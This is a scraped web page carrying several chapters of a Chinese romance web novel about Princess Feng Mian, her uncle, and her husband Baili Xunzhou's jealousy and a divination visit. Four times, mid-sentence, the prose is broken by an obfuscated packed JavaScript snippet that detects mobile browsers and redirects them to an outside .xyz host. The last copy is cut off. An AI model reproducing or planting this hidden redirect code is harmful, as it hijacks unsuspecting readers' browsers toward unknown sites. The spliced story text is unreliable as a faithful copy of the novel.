方才那点关切担忧,此刻早被抛到九霄云外。隔着万里之遥,她也与封眠较上了劲儿,兀自气恼着,就听那边太子兄长已然冰雪消融,声线转□□风化雨。 “父皇,小满此番受惊,定是吃了不少苦头。她自幼馋嘴,如今正值蟹肥菊黄,又临近仲秋团圆之节,不若现下便派人寻些菊蟹糕团送去?” “哼,就应馋着她,让她长长记性。”嘉裕帝嘴上如此说着,却还是扬声唤人进来,吩咐道:“去多挑几只上好的母蟹,佐蟹的黄酒、姜醋也一并配齐了再送去……” 螃蟹是寒凉之物,他一面想让封眠吃得好,一面又担忧她贪嘴伤神,得将解寒的一应食材也要张罗着配齐才放心。 “父皇,此时便交给儿臣来办吧。”褚景泽走到殿中,躬身请命。 嘉裕帝失笑:“你堂堂太子,去张罗这些吃食节礼,岂不是大材小用了吗。” 褚景泽唇角微扬,语声温润却坚定,“小满的事,从来都不是小事。” 嘉裕帝乐见他们兄妹情深,点头应允了。 一旁的褚景涟默默咬唇,她也想吃螃蟹呢,怎么没有人看看她呢?但她此时敏感地不敢多言,决定回去找母妃哭诉。 螃蟹而已,她定比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376535|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 封眠先吃上! 东宫坐落于皇宫东南一隅,飞檐斗拱、玉阶金瓦。一身锦袍的褚景泽甫一踏入殿门,周身温和气度便骤然敛去,冷脸询问身侧的内侍,“清平郡主可有给太子妃来信?” 内侍忙躬身奉上一封书札:“回殿下,确有。此为奴才誊录的副本,请殿下过目。” 褚景泽接过信,一目十行地看了。信中是封眠一贯清秀的字迹,竟是请托太子妃代为寻几位清流儒生,在朝野间为定北王父子,尤其是世子殿下,多作美言。字里行间皆透着她的忧切,盛京本就对世子流言颇多,如今疫病爆发,传到盛京也不知会被百姓传成什么样的罗刹。 “呵……”褚景泽气笑了,指节捏得信笺微响,“都将自己折腾成什么样子了,还满心满眼地惦记着别人。” 内侍听声便知太子心绪不佳,心下惴惴,赶忙又呈上另一封信,“殿下,这是清平郡主寄给您的信。” “难为她还记得起孤这个兄长。”褚景泽脸色稍霁,拿过信见其厚厚一沓,眉眼间甚至带上了一点笑意,高高兴兴地展开信看了。 不出片刻,他眉峰再度蹙紧,脸色又沉了下去,信上竟给他安排了活计,请他帮忙周旋,往北疆调任几名实用爱民的官员,又向他索要书册,想在北疆建书馆,厚厚的那几页信纸上写的尽是书名。 合着她这是给所有人都派了差事,唯独呈给父皇的信中只字未提这些,只报了平安。她自是深知陛下更牵挂她身体,若见她在信中为旁人求情筹谋,定然不悦。 可她怎不想想,难道他便不会生气吗? 褚景泽气得要死,一张俊颜冷如冰霜,指掌一收,将那信纸揉作一团,气冲冲走了两步,又生生止住,胸膛微微起伏,终是憋着一口气折返。 他声线淬冰,吩咐道:“去吏部。” * “姓封的果然不是……”百里浔舟话音顿住,想起封眠同样也姓封,不好将她一起骂进去了,遂直接点名道姓,“那封辞偃当真不是什么好人,说话难听我便忍了,他不知什么是夫妻的私人空间吗?” 疾羽营内,百里浔舟才理了半刻军务,便烦躁地揉着眉心,对着身旁的姚知远抱怨起来。 那日封辞偃被封眠劝了下来,答应她不会贸然行事,本打算将封辞偃的身份瞒着定北王和王妃,让封辞偃跟顾春温他们住到驿站去,孰料刚出院门就碰见了定北王,而定北王时隔十一年,一眼就认出了封辞偃,惊喜地拉着人叙旧。 两人一对上话,当年的误会便就这么解开了,定北王确实收到了另一道军令,以为与封辞胥的计划被取消,这才没能支援。 恩仇相泯,定北王怜封辞偃与封眠叔侄二人分别日久,热情留封辞偃在府上住下,对外便说封辞偃是他的忘年交。 于是封辞偃开始日日与封眠同进同出,事事都要挤在他与封眠之间,有时夜里还要来敲门问封眠“寝否?”,拉着人看星星看月亮忆往昔。 时不时还要给百里浔舟“立规矩”,谁家小叔叔做成封辞偃这“恶婆婆”模样? 姚知远摇着折扇,闻言挑眉,眼底掠过一丝了然的笑意。他慢悠悠道:“世子这般抱怨,听起来……倒像是不打算同郡主和离了?” 百里浔舟像是彻底跟以前的自己割席了一般,瞪向姚知远:“和离?谁要和离?你吗?” 姚知远:……?他跟谁离啊!他连夫人都没有! 本想好心开解一番百里浔舟,现下姚知远只觉得一口气堵在胸口,决定今日不再同他多说半个字。 79. 第 79 章 “他竟还敢与你和离?” 马车上,封辞偃一袭墨色常服,斜倚在窗边,眉峰轻蹙,颇为不满。这几日他与封眠培养了几日的叔侄感情,终于撬开了一点少女心事,得知大婚日两人便曾商量着和离之事,当下只觉得一股火直冲头顶,恨不得立刻将百里浔舟那小子倒吊起来狠狠教训一顿。 “只是最开始时想要和离,还并未和离呢。”封眠纠正道,小叔叔这说辞,好似她二人已经正式和离了一般。 “想也不行,想也有罪。”封辞偃全然不讲道理,自家侄女样貌好、家世好、脾气好,有钱有权有民心,多少人几辈子都求不来这样一位夫人,百里那臭小子倒好,大婚当日便与人提和离?也就是封眠心性豁达,若是换个心思敏感细腻的小娘子,怕是隔日便要寻短见了。 他兀自气恼一阵,忽地凝目看向封眠,“怎么,他如今又改了主意,不想与你和离了?” 封眠眼神飘忽了一瞬,颊侧染上点点红晕,与年纪相近的长辈谈起自己的感情,让她有些羞赧,却仍是诚实地低声道:“不知道,他并未直言,只是,只是我观他言行,自己胡乱猜的。” 若他还一心想着和离,何必在她身陷险境时,不顾自身安危也要陪在她身侧呢?如果说只是因为二人尚顶着夫妻的名头,他要尽为夫的职责,那么易地而处,她可不会为了没有丝毫感情的丈夫,而让自己涉险。 脸颊微微一痛,封辞偃不大高兴地捏住了她的脸颊肉,谆谆教诲:“男人最会做戏,几分真情几分假意,岂是那么容易看透的?没听过‘男人的嘴,骗人的鬼’吗?你年纪小,见过的人也少,被骗了都没地方哭!” 封眠也不大高兴地瞧他,她能哭的地方可多了,不说北疆有那么大一座郡主府,舅舅还在宫里给她留着暑月殿呢。 但这话不好说出口,小叔叔心眼小,又讨厌极了褚家人,听了必然要生气的,于是眼珠一转,丢了个问题回去:“喔,那这么说,小叔叔你的话也不能信咯?我父亲当年也是这般吗?” “我……”封辞偃一时语塞,皱着眉反驳,“百里那臭小子怎么能和你父亲相提并论?” “阿兄可从未与嫂嫂提过什么和离。泰安十年,北疆再生乱象,先帝召年轻将领们入宫,我阿兄便在其列。那次入宫,他对你母亲一见钟情,便舍了命去搏军功,用了四年获封镇国大将军,才向先帝求来这门婚事。” “大婚当日,他立誓此生不纳二色,与你母亲一生一世一双人。” “若非……”他话音顿了顿,眼底掠过一丝复杂痛色。“若非……陛下将他急派远征,你母亲生产时,他怎会不在身旁?陛下倒好意思以此为由责难阿兄,还将你也扣在宫中……” 目光触及封眠微微出神的脸庞,封辞偃终究是没有继续说下去,他是厌恶嘉裕帝,厌恶褚家人,但也无法否认他们亦是封眠的血亲,更是陪伴她长大的人。没有必要让她在其中做选择。 她只需平安喜乐就好。 “百里浔舟若做不到我阿兄那般,可没资格娶你。”他语气斩钉截铁,忽又意识到两人都已经大婚了,又生硬改口:“没资格与你共度余生。” 那是自然的,封眠在心里猛猛点头,她不养面首,夫君自然也不能蓄姬妾,只是…… “你我在这里空谈也无用,又不知他心中是如何想的,若他仍想与我和离呢?” 听封眠这般说,封辞偃心下明了,这丫头怕是已对那小子上了心。他暗自咬牙,忍不住又在心中将百里臭小子翻来覆去揍了一顿,决心绝不能让他太轻易得逞。 “那还不简单。”封辞偃唇角勾起一抹略带狡黠的弧度,冲封眠勾了勾手指。封眠附耳过去,听他在自己耳边细细絮语,眼眸倏地睁圆。 马车在王府门前缓缓停下,封眠尚在思索方才封辞偃与她说的种种,晕乎乎地刚踏下车辕,忽地一道人影高喊着冲至面前,张开双臂就要抱过来。 “小表妹!你还活着真是太好了!”褚景淇亲眼瞧见封眠完完整整健健康康地从马车上走下来,眼含热泪,情绪激动。 咔嚓,就在褚景淇即将要抱住封眠时,两只手同时精准地握住了他的手臂,不容置疑地将他从封眠身前拉开。 褚景淇渐渐明朗的视野中出现一张有些眼熟的面容,他眨巴眨巴眼,回忆了半晌,“你是……你是那个傅……” 封辞偃皮笑肉不笑地松开桎梏着褚景淇手臂的双手,提醒:“傅辞偃。” 想起来了,在黑石沟见过。褚景淇胡乱地点点头,目光却在封辞偃和身后的马车上打转,方才这人是从小表妹的马车上下来的吧? 他一直等在王府门口,清清楚楚地瞧见流萤和雾柳都在马车外头,也就是说,这一路上,马车里只有小表妹和这位傅公子两人? 这似曾相识的一幕……褚景淇想起上次自己误会小表妹与隔壁元公子的乌龙,决定谨慎一些,问道:“傅公子怎么与我小表妹同乘一车?是有要事相商?” “与你何干?”封辞偃对褚家人人没半点好脸色,丢下这句话便径直越过他。 褚景淇被他这态度噎得一怔,随即更为震惊地看着他大摇大摆地走入王府,又惊讶地张大了嘴巴,“他、他这就进去了?” “王爷与傅公子一见如故,结为忘年交,便邀他在王府小住。”封眠拿出一早便商量好的说辞来搪塞褚景淇,边与他往里走边问,“舅母许你出来乱跑了?” 秦王妃一听说白水县闹出了疫病,便立即派人去将不肯走的褚景淇抓了回去,严令他不许再出门乱跑。因秦王妃也为封眠调度筹措物资,褚景淇便也没再闹腾,老老实实在王府里等消息。 直到听闻封眠平安、疫情也已受控,他便急着想去探望,可秦王妃仍不放心,又硬扣了他几日。待外头风波彻底平息,才终于点头放行。 “你没生我气吧?”褚景淇凑近了些,小心翼翼地偷瞧封眠的脸色。 封眠好笑:“在九哥心里,我就是那么小气的人啊?那我可真要生气了。” “哪里哪里!”褚景淇连忙摆手,“小表妹是我认识的姑娘中,最大度最聪慧最不同寻常的!” “弥荼圣女也包括在内吗?” “她……她自然要另论的。”提起弥荼,,褚景淇耳根微热,不好意思地挠了挠头,随即又兴奋起来,“对了,母妃同意了,她说只要我能凭自己的本事让弥荼答应与我成婚,她绝对不拦着。” 其实秦王妃原话是“你能追得上再说吧”,语气里全是对儿子满满的不信任。 “那你……”封眠话未说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382037|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完,就见他眼巴巴地望着自己,“怎么了?” “你还有没有什么类似互市那样的热闹事,可以邀请弥荼来玩的?” 封眠遗憾摇头,褚景淇略有些失望,但很快重振旗鼓:“无妨,我的法子多的是!” 话音随着他踏入藏弓院,看见某个施施然躺在院中躺椅上的身影时戛然而止。这位傅公子就算是定北王的忘年交,也不好在百里不在家的时候,这么堂而皇之地躺在人家夫妻俩的院子里吧? 此人还有没有一点身为成年男客的自觉了? 褚景淇抱臂踱到躺椅旁,俯身盯着那张懒洋洋的脸:“傅公子,世子殿下不在,你这般……不太好吧?” “光天化日,众目睽睽,有何不妥?”封辞偃懒懒地睁开一只眼瞥他,“心脏的人,才瞧什么都脏。” 说罢还不耐烦地挥挥手,“劳驾让让,你挡着我晒太阳了。” 褚景淇险些被气个倒仰。 正在此时,一道劲瘦身影无声步入院中。轻衣垂首:“世子妃在吗?” 封眠刚更衣出来,见是轻衣,心头不由一紧。轻衣身手极佳,行踪莫测,性子又极稳,平日唯有传递紧要军报时才会现身。 她顿时提起了心:“怎么了?出了什么事?” 轻衣言简意赅:“世子殿下说今晚会早些回来,接您去凤阳楼用晚膳。” “就为这事?” 轻衣一点头,待封眠应了声“知道了”,便如来时一般悄无声息地离去。 景淇顿时得意起来,抱臂斜睨着躺椅上的人:等着吧,本侯的正牌妹夫马上就要回来收拾你了! 却见方才还懒洋洋的封辞偃忽然坐起身来,正色道:“今日是不是该去成大人处瞧一瞧种子了?” 离开白水县后,封眠便将互市上得来的珍贵种子交予了成立虚,并还好它们一直被单独存放在地窖里,不必因疫病的原因而被销毁,否则封眠真是要心疼坏了。 成立虚自那之后便带着人在封眠特意准备的庄园住下了,日夜钻研试种,封眠每隔两三日便会去查看进展。 眼下确实又该去了,只是晚膳…… 封辞偃挑眉看她:“还记得我说过什么吗?” 封眠犹豫一瞬,终是点头:“好。” 褚景淇:???什么情况? 太阳刚刚向西倾斜寸许,便迫不及待地回到了藏弓院。他惦记着要与封眠一道用晚膳,头次从疾羽营早退,结果一踏进院子便顿住了脚步。 院中空荡荡的,不像是有人在的样子,正迟疑着,一道人影从侧边廊下呜呜哇哇地扑了过来。 褚景淇:“小百里!你可算是回来了!” “出什么事了?”百里浔舟心下一沉,唯恐封眠有事。 褚景淇愤怒又委屈地将封眠被傅辞偃带走的事添油加醋说了一遍:“我发誓!他绝对是听见你要回来用晚膳,才带着小表妹出门的!他还不许我跟着!说他们要做正事,我跟去也没有用处!这个傅辞偃,当真是太过分了!” 他用力拍拍百里浔舟的肩:“小百里,你可要振作起来啊!顾春温和陆鸣竹便罢了,这不知道哪儿冒出来的傅公子,也敢在你面前摆谱?!” 百里浔舟:“……” 别说了,心里苦。 80. 第 80 章 庄园内,最后一间培育房的棉帘被掀开,成立虚引着封眠走了出来,神色略有些疲惫,但仍提着精神与她汇报。 “郡主,下官等依据陆大人笔记所载,已将种子分作三批,试以不同深浅、间距与底肥之法种下。”他搓了搓手,面露难色,“眼下外间天气愈发热了,白叠子适宜生长于地气温煦的时节,在室内我们倒是可以用一些手段来控温,只是百姓们若是要种植的话,就须等到来年四月了。” 封眠颔首,又问:“若由几位司农来种白叠子,冬日前,约莫能育成多少株?” 成立虚沉吟片刻,答得谨慎:“回郡主,眼下还不好断言。首批试种的两百粒种子,约只有一半破土发芽。后续还需不断调整水土光照,再看剩余三百粒能出芽多少。农事一道,七分在天,三分在人,强求不得。” “无妨,只有一半也差不多了。那种子商还会陆续送来更多白叠子种子。送来多少,你们便种多少。凡是长成的,都莫要浪费,需得留种。” “下官遵命。”成立虚应下,实在按捺不住好奇心,问道:“郡主对此物似是极为看重,可是极其喜爱白叠子所开的花?” 封眠愣了一下,旋即想起种子商确是将白叠子归类为奇花异草,她唇角弯起一抹神秘的弧度,轻声道:“白叠子所开之花自是殊异于其他花草的,不过它最神奇之处并不只在于此。” “我曾于一本古籍上瞧见过,将白叠子雪白柔软的花絮采摘下来,晒干后脱籽、弹棉,可以絮入衣裳被褥之中,轻盈保暖,胜丝麻十倍。” “若此法能成,日后北疆人人皆能穿上絮满白叠子的冬衣,盖一床厚实暖和的被子,或许寒冬腊月,路边便能少些冻死骨。” 成立虚听得心神剧震,眼中骤然迸发出灼热的光彩。若白叠子真能有此奇效,那将是功在当代、利在千秋之举!他作为亲手培育此物的司农之一,岂不是也有机会青史留名了? 他心潮澎湃地想着,下意识想与身旁的好友顾春温分享此时心间的喜悦,却猛地撞见对方正望着郡主,眼底含着温润的笑意,目光一闪不闪地注目着。 成立虚:“……” 他蓬勃跳动的心脏霎时被吓得漏跳了一拍,顾兄这眼神……可算不得清白啊! 成立虚陷入自己仿佛发现了巨大秘密的惊天震撼之中,就听缀在最后头的封辞偃问道:“天色不早了。成大人,顾大人,可曾用过晚膳?不如一道去凤阳楼小酌几杯、也算慰劳诸位连日辛劳。” 封眠亦含笑点头:“正是,诸位大人这些时日都辛苦了,今日便由我做东,请大家去凤阳楼散散心。” 成立虚愣愣接话:“哦,我还没……”他下意识看向顾春温,“顾兄你……” “巧了,我也未曾用过。”顾春温神色自若,唇边笑意温雅,“既蒙郡主盛情,那下官便却之不恭,正好腹中有些饥饿了。” 成立虚瞳仁震颤,是谁下午时摸着肚子说茶点吃得撑了,晚间定然吃不下任何东西?自己说请他去吃新开的烧鹅铺子,他都推说饱腹不肯去,怎么如今郡主做东,便腹中饥饿了?这可才过去一个时辰!平日也不见你饿得这么快呢! 完了完了,顾兄这心思好像真的不清白啊! 自此后,成立虚便像是打开了新世界的大门一样,一路上总忍不住拿眼去觑顾春温,看得自己心惊胆战。在无人注意的角落里,他分明瞧见顾春温的视线总若有似无地萦绕在郡主周身,关切着她是否被风吹着、是否踩到石子,只是在郡主回望时,又总是恰到好处地自然移开,分寸拿捏得滴水不漏。 顾春温发觉他的视线,无奈侧首低声问他:“你总瞧我做什么?我脸上是有金子还是刻了字?” 成立虚讪讪一笑,扭过头去。不,我是在瞧瞧你究竟生了几个胆子,竟敢对世子妃生出别样的心思。 待得一行人入了凤阳楼,眼瞅着顾春温极其自然地伴在封眠身侧,温声细语地为她介绍楼中招牌菜色,甚至问及她的忌口与偏好,细致到了极致,成立虚面上已是一片麻木。 不必再问,无需向本人确认了,他可以断定,自己这位胆大包天的好友,确确实实对那位身份尊贵、已为人妇的郡主,存了份不该有的心思。 顾春温此人看着温润好相处,有他在的场合总能圆融周到,不让任何一句话冷场落地,但他骨子里何尝是这般殷勤主动、甚至会抢着与人攀谈的性子? 成立虚不由想起郡主出嫁那日,顾春温一进茶楼便独自靠着窗边坐下,目不转睛地盯着楼下长街。待到郡主的鸾驾仪仗迤逦而来,他更是沉默不语,对周遭的谈笑恍若未闻。 当时自己还多嘴凑过去问几时能喝到顾兄的喜酒,顾兄说他的心上人已有婚约在身,怕是那时他口中说的心上人,便就是郡主了。 真是奇了怪了,他究竟是什么时候见过郡主的? 他脑海中瞬间闪过百里世子那些杀伐决断、冷戾凶煞的传闻,顿时觉得后颈一凉,忍不住四下张望起来,生怕那尊煞神会从哪个角落里突然现身,将他这好友生吞活剥了。 “小百里,我是不是眼花了,怎么好像瞧见小表妹了?” 二楼雅间,褚景淇一手撩开垂挂的竹帘,探出半个脑袋,揉了揉眼睛,一脸难以置信地扯了扯身旁人的衣袖。 百里浔舟早早订好了席面,想着不吃也是浪费,便干脆和褚景淇一道过来。闻言,他目光随意往楼下一扫,便恰好瞧见封眠一行人踏入凤阳楼。而与她并肩而行、言笑晏晏的,正是顾春温。 “咔嚓”一声轻响,他手中那双乌木筷子应声而断。 坐在对面的褚景淇手一抖,竹帘再次垂落,遮住了楼下的画面。 既然要来凤阳楼,怎么不来找他呢?百里浔舟心底蓦地窜起一股小火苗,夹杂着难以言喻的涩意,烧得他心口发闷。他猛地站起身,几乎要立刻下楼去。 可脚步却在门槛前顿住。最终他深吸一口气,又重重坐了回去。 褚景淇看得着急:“你不过去看看?就这么干坐着?” 他可是瞧得真真的,那姓傅的就亦步亦趋地跟着小表妹后头,司马昭之心已是昭然若揭! 百里浔舟眸色深深,无意识地给自己换了双筷子,声音闷闷不乐:“罢了,那么多人在呢,我此刻贸贸然冲过去,再让她尴尬就不好了。” 一个顾春温而已,况且小叔叔也还在呢……想到封辞偃,他的嘴角不由向下一撇,这“恶婆婆”横竖看他不顺眼,不会憋着什么坏呢吧? 他顿了顿,像是自我安慰,又像是说给褚景淇听,“无妨,晚上……晚上回去再问也不迟。” 话虽如此,这一餐饭,他却是食不知味。 执箸的手悬在桌上,顿了好一会儿,视线犹疑地飘向紧闭的门扉,也不知他刚才看见没有?封眠心不在焉地想着。 方才进门时,她从二楼被掀起的竹帘缝隙间,瞥见了百里浔舟倚栏而坐的身影,下意识便想抬首打个招呼。身后跟着的封辞偃轻轻咳了两声,她才克制着垂眸敛目,装作未曾看见。 方才引路的店小二格外热络地与她说世子就在二楼的雅间,差点就把他们引过去了,被封辞偃两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387535|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句话囫囵了过去。可掌柜的一定也会告诉他吧?明知他就在此处,明知他特意让轻衣来约了自己,现下不与他一道用膳便罢了,甚至连声问候也没有,他会怎么想呢? “嗒”一声轻响,是杯盏落桌的清音。 封辞偃轻声唤回她飘远的神思:“郡主,汤要凉了。” 封眠端过他递来的热汤,哀怨地瞟他一眼,低语道:“非要如此吗?” 封辞偃眉梢微挑,唇角似笑非笑:“试一试他罢了。这便心疼了?” 封眠抿唇,小声嘟囔着:“你别总是想坏主意欺负他。” 话说完,她又觉得自己怪得很没道理,分明她自己也同意了,并成为了其中最重要的“帮凶”。 封辞偃心下摇头,小丫头简直和她爹娘一样,心尖尖上装了谁,胳膊肘便毫不犹豫地拐向谁。他终是妥协道:“行,今日便只欺他这一回。这下总能安心用饭了吧?” 封眠这才拿起汤匙,舀了一口汤。 右手边的顾春温将盛着剔好骨的鸡肉的小碟子轻轻推了过来,温声道:“这是凤阳楼的招牌,用老汤煨了十二个时辰,郡主尝尝看。” 坐在对面的成立虚瞧一瞧左边的封辞偃,再瞧一瞧右边的顾春温,感觉自己误入了什么了不得的现场,幸好此时桌上不止他一个外人,与他同行的其他四名司农也正在大快朵颐。 他默默用鸡腿堵住了自己的嘴,觉得自己都有些同情世子殿下了。 “世子殿下。”掌柜热情地拦住下楼的百里浔舟,“您和世子妃用膳可愉快?咱是北疆的老字号了,也不知道这菜品合不合世子妃的胃口?” 百里浔舟:“……” 跟在他身后下楼的褚景淇:“……” 探头探脑往百里浔舟身后瞧的掌柜:“世子妃殿下呢?怎么没与世子一起……哎呀你老拽我干什么?” 掌柜气呼呼地扭头,瞪向身后一直拽他衣角的店小二。 店小二以手掩唇,用气音低低道:“世子殿下和世子妃不是一起来的……” “说什么呢?大点声!”掌柜愤怒蹙眉,“咱们开门做生意光明正大的,有什么事是世子殿下听不得的?” 店小二:“……” 心好累,掌柜的听不懂人话便罢了,情商怎么还这么低! 他正视死如归地打算大声再讲一遍,就听世子殿下清清冷冷地开口了:“世子妃不是与我一同来的。她尚要待客,掌柜的不如稍后直接问她吧。” 说罢,他便快步走了。 掌柜终于闭上了嘴巴,向店小二投去一个无助的目光:什么情况? 店小二摊手耸肩:他哪儿知道? 当晚,关于世子殿下是不是和世子妃吵架了的猜测,传遍了全城。百姓们显然还记得当初世子殿下抗婚的壮举,纷纷议论着他是不是还没放弃和离啊? 世子殿下本人则在更深夜阑,与封眠并肩躺在床上之际,终于问出了堵在心口一日的问题。 “只是与诸位司农一道用个便饭,商讨公事。”封眠的解释合情合理,“你知道的,他们正在试种的种子是很重要的,我总要多上些心。” 百里浔舟看着她清澈的眼眸,觉得有理,以往为了公事,她不是也常与顾春温、陆鸣竹一同出入吗?但那点失落却挥之不去。 他正想再说什么,却见封眠唇瓣微动,似乎想解释更多,最终却只是抿了抿嘴,将话咽了回去。 百里浔舟将这细微的迟疑看在眼里,心中悄然滋生几许疑窦。她想跟他说什么?需要这般犹豫辗转开不了口? 81. 第 81 章 翌日,褚景淇火急火燎地冲进藏弓院,拦住了正要出院子的百里浔舟,脸上写满了急切,但开口前,他还是谨慎地环顾一翻。 “别看了,她今日出门比我还早。”百里浔舟一眼就知他在看什么,语气平静道。 褚景淇急忙追问:“怎么样怎么样?问清楚没有?可不能让那个姓傅的……或者别的什么人趁虚而入啊!” 百里浔舟忍了又忍,才将“那是封眠的小叔叔”这几个字硬生生咽了回去。 “问了,说是公事。” “好敷衍啊。”褚景淇大皱眉,他的好父亲秦王殿下每每也是这样敷衍母亲的,美其名曰避免无端的争吵,依他看,就是逃避罢了。 “她是真的有正事。”百里浔舟为封眠辩解道,听不得有人说她半点不好。 褚景淇没好气地白他一眼,转而自己也愁上心头,唉声叹气:“唉……弥荼回了苍狼部,这都多少时日了,也一封信都不曾寄给我。小百里,你说她是不是一回去,就被草原上的雄鹰和骏马迷了眼,把我给忘了?” 百里浔舟看他垂头丧气的模样,想着他虽然认错了情敌,却也是真心为自己着急的,投桃报李,理应帮他解决一点难题,遂道:“军中有传讯的信鸽,可以暂借你一用。” 正沮丧的褚景淇差点原地弹跳起来,猛地勾住了百里浔舟的脖颈往下一压,“好妹夫,九哥真是没看错你!” 百里浔舟一抖肩将他甩了下去,“好好走路。” 褚景淇也浑不在意,嘀嘀咕咕地思索起来:“我得选个良辰吉日寄信才好,你说信上写点什么呢?他们苍狼部的人应该都很直白吧?那我也不能太内敛了,文绉绉的,万一她看不懂怎么办?” 百里浔舟开始觉得他有些吵闹,加快了步子想要将他甩开,却被他追上来,一把拉住了胳膊往外拽:“走!我带你去个地方!” “去哪儿?”百里浔舟差点被他扯得一个踉跄,眉头紧蹙,“我不是游手好闲的无业游民。” “不会耽误你太久的。我保证,去一趟包你茅塞顿开!信心大增”褚景淇拍着胸脯,信誓旦旦。 半个时辰后。 一张色彩斑斓、表情诡异的傩面骤然在百里浔舟眼前放大,浓郁的香火气混杂着某种不知名的草药味扑面而来。 百里浔舟眉头紧锁,向后避了避,侧首看向鹌鹑似的缩在他身侧的褚景淇,语气难以置信:“这就是你说的……保管有用的法子?” 这是一间低矮的木屋,自屋顶房檐垂落无数道彩线编制的条状经幡,色彩浓烈,但屋内光线极暗,仅有数盏摇曳的蜡烛和中央一个燃烧的火盆照亮。 昏昧的光线映出空气中漂浮的细小微尘,将四面墙壁上表情狰狞诡异的傩面更增添了几分神秘诡谲的气氛。 “非、非常之人,行非常之事嘛!”褚景淇躲避着身后不远处堆放着的龟甲兽骨,又期待又害怕地看着中央戴着傩面舞动着的卜者,声音却有点发颤,推着百里浔舟低声道“都说姻缘天定,有什么困惑,你便问问嘛!很灵的!” 百里浔舟一脸麻木,他自幼便不信鬼神之说,这种巫卜之地更是闻所未闻,见所未见,从进门起便几次想走,生生被褚景淇拽住了,现下仍想起身离开,但看着卜者郑重地取过一片牛骨,询问地看向他时,便硬生生定在了原地。 他喉结上下一动,紧张地咽了咽唾液,干涩地开口道:“请问,她对我心意如何?我要如何做,才能加深我们之间的缘分?” 卜者将牛骨置于火盆之上,口中念念有词。 火焰舔舐着牛骨,发出细微的噼啪声。屋内寂静无声,百里浔舟紧张得屏息。 “兆来了!” 卜者沙哑的声音突兀地响起,似男似女,呕哑嘲哳,惊得褚景淇打了个抖,他慌忙按住胸口,小心翼翼探问:“怎么说?卦象是吉是凶?” 卜者俯身,指尖仔细描摹着骨片上裂开的一道纹路,许久,他才用一种缥缈模糊、似是而非的语调缓缓开口: “风波不定,非缘浅,乃考验至。守得云开,自有月明。卧榻之侧,宜净宜新,挪箱柜于坤位,置清水于离方,红绳系角,良缘自近。” 言罢,他便忽地沉默地跪坐于火盆之前,仿佛刚才那几句话耗尽了他所有力气。 褚景淇听得云里雾里,努力消化着这玄之又玄的卜辞,扯了扯百里浔舟的袖子,小声道:“是不是说,你现在遇到的一切都是考验,坚持下去就有希望?” 百里浔舟眼睫微垂,瞧不出神色如何,只淡淡道:“神鬼玄说,听听便罢了。你还问吗?” “问,当然问!” 方才为百里浔舟占卜的卜者筋疲力竭地退了下去,换了名新的卜者替褚景淇占卜了寄信的吉时,他这才欢欢喜喜地与百里浔舟一道出了门。 踏出低矮逼仄的门,闻到僻静巷子里的清新空气,两人齐齐舒了一口气。 正准备沿着来时的路七拐八绕地离开,侧旁一扇木门忽然向内打开,里面匆匆走出一名幂篱遮面的妇人,猝不及防地与褚景淇撞了一下,幂篱垂下的轻纱飘起,露出折夫人清媚的面容。 她的目光与百里浔舟交错一瞬,旋即便慌张地扯回轻纱,将面容牢牢遮住,低低道了句“抱歉”,便脚步凌乱地匆匆离去,身影很快消失在巷子深处。 百里浔舟将已到唇边的“折夫人”三个字咽了回去。他望着那抹消失的背影,眉头微蹙,心中疑惑,她为何装作一副彼此不相识的陌生人模样? 转念一想,他自己也不愿让旁人知道他才求神占卜的事,或许折夫人也自有不可言说的秘密。 褚景淇揉了揉额角,嘀咕着:“刚刚卜辞还提醒我要注意安全,你瞧,一出门就灵验了!看来这封信我得……” “快走吧。”他拽上褚景淇大步离开,心里却在嘀咕,真有那么灵验吗? 夜色轻笼庭院,廊下灯烛在晚风中摇曳,将树影拉得细长。封眠闷闷不乐地推开寝间的门。 整整一日,她连百里浔舟的半句问候都没收到。听门房说,早上她走后,他便跟褚景淇出去了,晚膳时分回到府上,之后便在院子里没出去过。 他比她早回来那么久,竟也不派人问问她忙得如何了?可要回来用晚膳?天黑了竟也不催她回府,小叔叔都开始在她耳边说着“看来某人心意不坚”的风凉话了。 一股说不清是委屈还是气恼的情绪堵在心口,封眠脚步重重地踏入房内,正要兴师问罪,却蓦地怔在原地。 卧房内不说焕然一新,却也是大为变化,原本靠东放置的花梨木梳妆台与美人榻被挪开了,取而代之的是一对相依而立的青瓷瓶。厚重的箱柜尽数挪到了西南墙角,正南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 